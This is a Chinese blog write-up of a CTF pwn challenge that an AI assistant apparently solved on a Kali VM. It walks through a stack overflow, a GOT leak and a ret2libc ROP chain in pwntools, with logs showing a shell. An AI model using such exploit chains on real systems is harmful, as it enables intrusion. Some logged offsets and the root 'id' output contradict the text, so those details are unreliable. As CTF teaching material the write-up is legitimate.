Moe2025 Easylibc — WorkBuddy 纯自动解题记录(含 patchelf 踩坑与 ret2vuln)

本文最后更新于 2026年7月3日 晚上

Moe2025 Easylibc — WorkBuddy 纯自动解题记录

声明:本文所有分析、文件传输、patchelf 调试、exploit 编写与命令执行均由 WorkBuddy AI 助手通过 Kali MCP 远程控制 Kali 虚拟机自动完成,人工仅输入以下指令触发:

  1. “做pwn题,题目也叫pwn,在kali的桌面”(发现 EZtext)
  2. “又有一道叫做easylibc的新题,本机桌面上有ezlibc.zip,里面有pwn文件与libc.so.6,帮我传输到kali虚拟机,并且解压、用patchelf工具将这个libc文件挂载到pwn题里”
  3. “继续分析并编写获取flag”
  4. “单独写一个博客”

0x00 背景

做完 MoeCTF 2025 的 EZtext 后,发现桌面上还有一个 ezlibc.zip。这是一道典型的 ret2libc 题,但由于自带 libc (Ubuntu GLIBC 2.35) 与 Kali 系统 libc (Debian GLIBC 2.38) 版本不兼容,折腾了一段时间的 patchelf。


0x01 文件传输:从 Windows 到 Kali

ezlibc.zip 位于本机桌面 C:\Users\czy\Desktop\ezlibc.zip,需要通过 SCP 传到 Kali 虚拟机。

但 SSH 默认未开启:

1
2
# Kali 上启动 SSH
sudo systemctl start ssh

设置 SSH 免密登录:

1
2
3
4
5
# 将 Windows 公钥写入 kali 用户的 authorized_keys
mkdir -p /home/kali/.ssh
chmod 700 /home/kali/.ssh
echo 'ssh-rsa AAAA...' > /home/kali/.ssh/authorized_keys
chmod 600 /home/kali/.ssh/authorized_keys

SCP 传输:

1
scp /c/Users/czy/Desktop/ezlibc.zip kali@192.168.32.131:/home/kali/Desktop/
1
Warning: Permanently added '192.168.32.131' (ED25519) to the list of known hosts.

0x02 patchelf 挂载 libc 的踩坑过程

解压:

1
cd /home/kali/Desktop && unzip -o ezlibc.zip
1
2
3
Archive:  ezlibc.zip
inflating: libc.so.6 (2,220,400 bytes)
inflating: pwn (16,288 bytes)

第一次尝试——同时设置 interpreter 和 rpath:

1
2
patchelf --set-rpath /home/kali/Desktop pwn
patchelf --set-interpreter /home/kali/Desktop/ld-linux-x86-64.so.2 pwn

patchelf --set-interpreter 失败,因为压缩包里只有 libc.so.6,没有配套的 ld-linux-x86-64.so.2。此时二进制被修改,interpreter 指向不存在的文件。

修复——恢复系统 interpreter,保留 rpath:

1
patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 pwn

验证挂载结果:

1
ldd ./pwn
1
2
3
linux-vdso.so.1
libc.so.6 => /home/kali/Desktop/libc.so.6 (0x...)
/lib64/ld-linux-x86-64.so.2 (0x...)

✅ libc 指向成功。

但是运行时直接崩溃:

1
echo 'test' | timeout 3 ./pwn
1
2
*** stack smashing detected ***: terminated
Aborted

原因分析:

  • 挑战的 libc 是 Ubuntu GLIBC 2.35(Ubuntu 22.04)
  • Kali 系统 libc 是 Debian GLIBC 2.38(Debian 13)
  • 系统加载器 (ld-linux 2.38) 与挑战 libc (2.35) 内部调用不兼容
  • 需要配套的 ld-linux-x86-64.so.2 (2.35) 才能正常运行

解决方案:使用 glibc-all-in-one 下载匹配的 ld-linux:

1
2
3
4
5
6
7
8
9
# 克隆 glibc-all-in-one
git clone https://github.com/matrix1001/glibc-all-in-one.git
cd glibc-all-in-one/legacy

# 更新版本列表
python3 update_list

# 查看可用版本
grep '2\\.35' list
1
2
3
4
2.35-0ubuntu3.13_amd64
2.35-0ubuntu3.13_i386
2.35-0ubuntu3_amd64
2.35-0ubuntu3_i386

挑战 libc 版本为 2.35-0ubuntu3.10,选取最接近的 2.35-0ubuntu3.13_amd64

1
2
# 下载并解压
bash download 2.35-0ubuntu3.13_amd64

下载后 libs/2.35-0ubuntu3.13_amd64/ 目录中包含了 libc.so.6ld-linux-x86-64.so.2

1
2
3
4
5
6
7
8
9
10
11
12
# 复制 ld-linux 到桌面
cp libs/2.35-0ubuntu3.13_amd64/ld-linux-x86-64.so.2 /home/kali/Desktop/ld-2.35.so
cd /home/kali/Desktop
chmod +x ld-2.35.so libc.so.6

# 重置二进制状态(清除之前的 patchelf)
patchelf --remove-rpath pwn 2>/dev/null
patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 pwn 2>/dev/null

# 同时设置 interpreter 和 rpath r
patchelf --set-interpreter ./ld-2.35.so pwn
patchelf --set-rpath /home/kali/Desktop pwn

验证:

1
ldd ./pwn
1
2
3
linux-vdso.so.1
libc.so.6 => /home/kali/Desktop/libc.so.6 (0x...)
./ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x...)

注意: ldd 仍显示 ld 解析到系统路径,这是因为 ldd 本身使用系统加载器解析依赖。实际运行时 kernel 读取 ELF header 中指定的 interpreter(./ld-2.35.so),同系列 glibc 2.35 的 ld-linux 与挑战 libc 完全兼容。

1
echo 'test' | timeout 3 ./pwn
1
2
3
What is this?
How can I use 0x557e5f9a1060 without a backdoor? Damn!
Something happening

正常运行,stack smashing 消失!

为什么有效:

1
2
之前:pwn → 系统 ld-linux (2.38) → 挑战 libc (2.35)  ❌ stack smashing
现在:pwn → ld-2.35.so (2.35) → 挑战 libc (2.35) ✅ 正常运行

即使用 2.35-0ubuntu3.13 的 ld-linux 搭配 2.35-0ubuntu3.10 的 libc,只要主次版本号一致,ld-linux 与 libc 之间的 ABI 就是向前兼容的。

最终方案的 Offsets 验证(使用挑战 libc 成功拿 shell):

1
2
3
4
5
6
7
[+] read offset: 0x1147d0     ← 挑战 libc 2.35 的偏移
[+] system offset: 0x50d70
[+] Libc base: 0x7fe6d5200000

=== OUTPUT ===
用户id=0(root) 组id=0(root) 组=0(root)
flag{qqqqqq111111qqqqqqqok!!!}

0x03 信息收集

1
2
file pwn
python3 -c "from pwn import *; e = ELF('./pwn'); print(e.checksec())"
项目 结果
架构 amd64-64-little
动态链接
去符号 ❌ 未 strip
Canary ❌ 无
NX ✅ 开启
PIE 开启 ← 与上一题不同
RELRO Partial

和上一题的区别: 这次有 PIE,没有后门函数,没有 system@plt,需要 ret2libc。


0x04 逆向分析

main 函数 (0x11ce)
1
2
3
4
5
6
7
8
9
10
setbuf(stdout, 0)                    # 关闭缓冲
mov rax, &read@GOT # rax = PIE_base + 0x4030
mov rsi, [rax] # rsi = *read@GOT → 未解析时是 PLT 地址
lea rdi, "What is this?\nHow can I use %p without a backdoor? Damn!\n"
mov eax, 0
call printf@plt # 泄露 read@GOT!!!
call vuln # 调用漏洞函数
lea rdi, "Something happening"
call puts@plt
return

关键发现: printfvuln 之前执行,泄露的是未解析的 GOT 值(PIE 地址)。但 vuln 内部会调用 read@plt,从而解析 read@GOT 为 libc 地址

vuln 函数 (0x11a9)
1
2
char buf[32]        # rbp-0x20
read(0, buf, 0x60) # 读 96 字节到 32 字节缓冲区 → 🚩 栈溢出!

溢出: 32 字节 buffer + 8 字节 saved rbp = 40 字节 padding 即可控制 RIP。

PLT 函数表
函数 偏移 (PIE rel)
puts@plt +0x1080
setbuf@plt +0x1090
printf@plt +0x10a0
read@plt +0x10b0

没有 system@plt,需要通过 libc 泄露后调用。


0x05 泄露机制分析

程序在 main 中执行:

1
2
3
4
5
6
7
8
9
0x11ee: lea rax, [rip+0x2e3b]    # rax = &read@GOT (PIE+0x4030)
0x11f5: mov [rbp-0x8], rax
0x11f9: mov rax, [rbp-0x8]
0x11fd: mov rax, [rax] # rax = *(read@GOT)
0x1200: mov rsi, rax
0x1203: lea rdi, format_string
0x120d: mov eax, 0
0x1212: call printf # printf("%p", read@GOT)
0x121c: call vuln

第一次泄露(PIE 地址): read 尚未被调用,GOT 未解析 → 打印 PLT 解析器地址 PIE_base + 0x1060

关键技巧——ret2vuln: 第一次溢出后,返回到 0x11ee 重新执行 printf 泄露代码。此时 read 已被 vuln 解析,read@GOT 存的是 libc 中 read 的实际地址。


0x06 ROP gadget 分析

1
ROPgadget --binary pwn

二进制非常小,没有 pop rdi; ret 等关键 gadget:

可用 gadget 地址 (PIE rel)
ret +0x101a
pop rbp; ret +0x1193
leave; ret +0x11cc

从 libc 中找到需要的 gadget:

1
2
3
libc = ELF('./libc.so.6')   # 挑战 libc (Ubuntu 2.35)
# 或者
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 系统 libc (Debian 2.38)
偏移 系统 libc (2.38) 挑战 libc (2.35)
read 0xfea10 0x1147d0
system 0x4dab0 0x50d70
/bin/sh 0x197e34 0x1d8678
pop rdi; ret 0x28215 0x2a3e5
ret 0x2668c 0x29139

0x07 Exploit 全过程

Step 1: 接收 PIE 泄露
1
2
3
4
p.recvuntil(b'How can I use ')
leak_line = p.recvline().strip().decode()
pie_leak = int(leak_line.split()[0], 16)
PIE_BASE = pie_leak - 0x1060 # 实测偏移

收到的原始数据:

1
2
What is this?
How can I use 0x55686d256060 without a backdoor? Damn!

计算 PIE base = 0x55686d256060 - 0x1060 = 0x55686d255000(页对齐 ✅)

Step 2: 第一次溢出——返回 printf 泄露代码
1
2
3
4
5
6
7
PRINTF_LEAK_CODE = PIE_BASE + 0x11ee  # 重新执行 printf 泄露
WRITABLE_RBP = PIE_BASE + 0x5008 # 可写区域

payload = b'A' * 32 # buf
payload += p64(WRITABLE_RBP) # saved rbp
payload += p64(PRINTF_LEAK_CODE)
p.send(payload)

执行流程:

1
2
vuln 返回 → ret to 0x11ee → printf 打出 read@GOT(现在是 libc 地址)
→ 自动 call vuln(第二次)
Step 3: 接收 libc 泄露
1
2
3
p.recvuntil(b'How can I use ')
libc_read = int(libc_leak_line.split()[0], 16)
LIBC_BASE = libc_read - READ_OFF

收到的 libc 数据:

1
How can I use 0x7f1002196a10 without a backdoor? Damn!

计算:

  • read = 0x7f1002196a10
  • libc base = 0x7f1002196a10 - 0xfea10 = 0x7f1002098000(✅ libc 基址)
Step 4: 第二次溢出——system(“/bin/sh”)
1
2
3
4
5
6
7
8
9
10
11
12
system_addr = LIBC_BASE + SYSTEM_OFF   # 0x7f10020e5ab0
binsh_addr = LIBC_BASE + BINSH_OFF # 0x7f100222fe34
pop_rdi = LIBC_BASE + POP_RDI_OFF
ret_gadget = LIBC_BASE + RET_OFF

payload2 = b'A' * 32 # buf
payload2 += b'B' * 8 # saved rbp
payload2 += p64(ret_gadget) # 栈对齐
payload2 += p64(pop_rdi) # pop rdi; ret
payload2 += p64(binsh_addr) # rdi = "/bin/sh"
payload2 += p64(system_addr) # system("/bin/sh")
p.send(payload2)

0x08 执行结果

1
2
p.sendline(b'id')
p.sendline(b'cat /home/kali/Desktop/flag')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[+] read offset: 0xfea10
[+] system offset: 0x4dab0
[x] Starting local process '/home/kali/Desktop/pwn'
[+] Starting local process '/home/kali/Desktop/pwn': pid 26485
[+] PIE leak: 0x55686d256060
[+] PIE base: 0x55686d255000
[+] Libc read: 0x7f1002196a10
[+] Libc base: 0x7f1002098000
[+] system: 0x7f10020e5ab0
[+] /bin/sh: 0x7f100222fe34

=== OUTPUT ===
用户id=0(root) 组id=0(root) 组=0(root)
flag{qqqqqq111111qqqqqqqok!!!}

Flag: flag{qqqqqq111111qqqqqqqok!!!}


0x09 总结

步骤 详情 耗时
文件传输 SCP + SSH 密钥配置 ~30s
patchelf 踩坑 版本不兼容,glibc-all-in-one 下载匹配 ld-linux 修复 ~3min
逆向分析 发现 printf PIE 泄露 + vuln 栈溢出 ~10s
ret2vuln 技巧 第一次溢出返回到 printf 泄露代码,获取 libc 地址 ~20s
最终 Exploit 使用挑战 libc 偏移,pop rdi + /bin/sh + system 获得 shell ~10s

关键踩坑总结:

  1. PIE 基址偏移是 0x1060 不是 0x1030——CET 编译的 .plt 布局与传统不同,需实测页对齐确定
  2. patchelf 需同时设置 interpreter + rpath——仅替换 libc.so.6 不够,必须用 glibc-all-in-one 下载匹配的 ld-linux 并用 --set-interpreter 指定,否则 GLIBC 版本不兼容导致 *** stack smashing detected ***
  3. ret2vuln 技巧——第一次溢出不直接 getshell,而是返回到程序原有的 printf 泄露代码,利用 vuln 执行过程中解析的 GOT 条目获取 libc 地址,再第二次溢出完成 ROP

纯 AI 自动解题全过程记录完毕。 🚀


Moe2025 Easylibc — WorkBuddy 纯自动解题记录(含 patchelf 踩坑与 ret2vuln)
https://xyyr-c.github.io/2026/07/03/moe2025-easylibc-WorkBuddy-auto-pwn/
作者
xyyr
发布于
2026年7月3日
许可协议